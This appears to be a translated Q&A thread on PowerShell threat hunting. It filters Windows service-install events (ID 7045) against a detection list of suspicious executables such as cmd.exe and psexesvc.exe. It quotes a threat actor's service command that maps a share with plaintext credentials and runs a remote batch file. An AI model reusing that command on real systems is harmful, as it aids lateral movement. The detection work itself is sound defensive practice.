电源外壳 | EVTX |将消息与数组进行比较(如)

PowerShell | EVTX | Compare Message with Array (Like)

感谢您迄今为止提供的所有帮助,非常感谢。我一直在尝试完成一个简单的任务:将事件 ID 7045 的“图像路径”与一组预定义的关键字进行比较。 Like 无效,Compare 寻找完全匹配。

$sus = @('powershell.exe','cmd.exe','psexesvc.exe')
45 = Get-WinEvent -FilterHashtable @{ Path="System.evtx"; Id = 7045 } | select 
@{N=’Timestamp’;E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id, 
@{N=’Machine Name’;E={$_.MachineName}},
@{N=’Service Name’; 
E={$_.Properties[0].Value}},
@{N=’Image Path’; E={$_.Properties[1].Value}},@{N=’RunAsUser’; E={$_.Properties[4].Value}},
@{N=’Installed By’; E={$_.UserId}} | where 'Image Path' -match $sus```

我的意思是,如果有任何关键字匹配,我会很感兴趣!

给你一个想法,威胁行为者安装的众多恶意服务之一看起来像,

``cmd.exe /c powershell -c "net use \192.168.100.100 /user:workgroup\test p@ssw0rd123;cmd.exe /c \192.168.100.100\OutPut\run.bat"

所以我有很多例子,但是..如果有办法让 Like 运算符在这里工作,太棒了!

谢谢:)

您可以使用正则表达式 -match 而不是 like。为此,您需要从可执行文件创建一个正则表达式字符串,将名称与正则表达式 'OR' (|) 结合起来,并用反斜杠转义点:

# create a regex for the suspicious executables:
$sus = '(powershell|cmd|psexesvc)\.exe'
# alternatively you can join the array items like this:
# $sus = ('powershell.exe','cmd.exe','psexesvc.exe' | ForEach-Object {[regex]::Escape($_)}) -join '|'

45 = Get-WinEvent -FilterHashtable @{ LogName = 'System';Id = 7045 } | 
        Where-Object { $_.Properties[1].Value -match $sus } |
        Select-Object Id, 
                      @{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}}, 
                      @{N='Machine Name';E={$_.MachineName}},
                      @{N='Service Name'; E={$_.Properties[0].Value}},
                      @{N='Image Path'; E={$_.Properties[1].Value}},
                      @{N='RunAsUser'; E={$_.Properties[4].Value}},
                      @{N='Installed By'; E={$_.UserId}}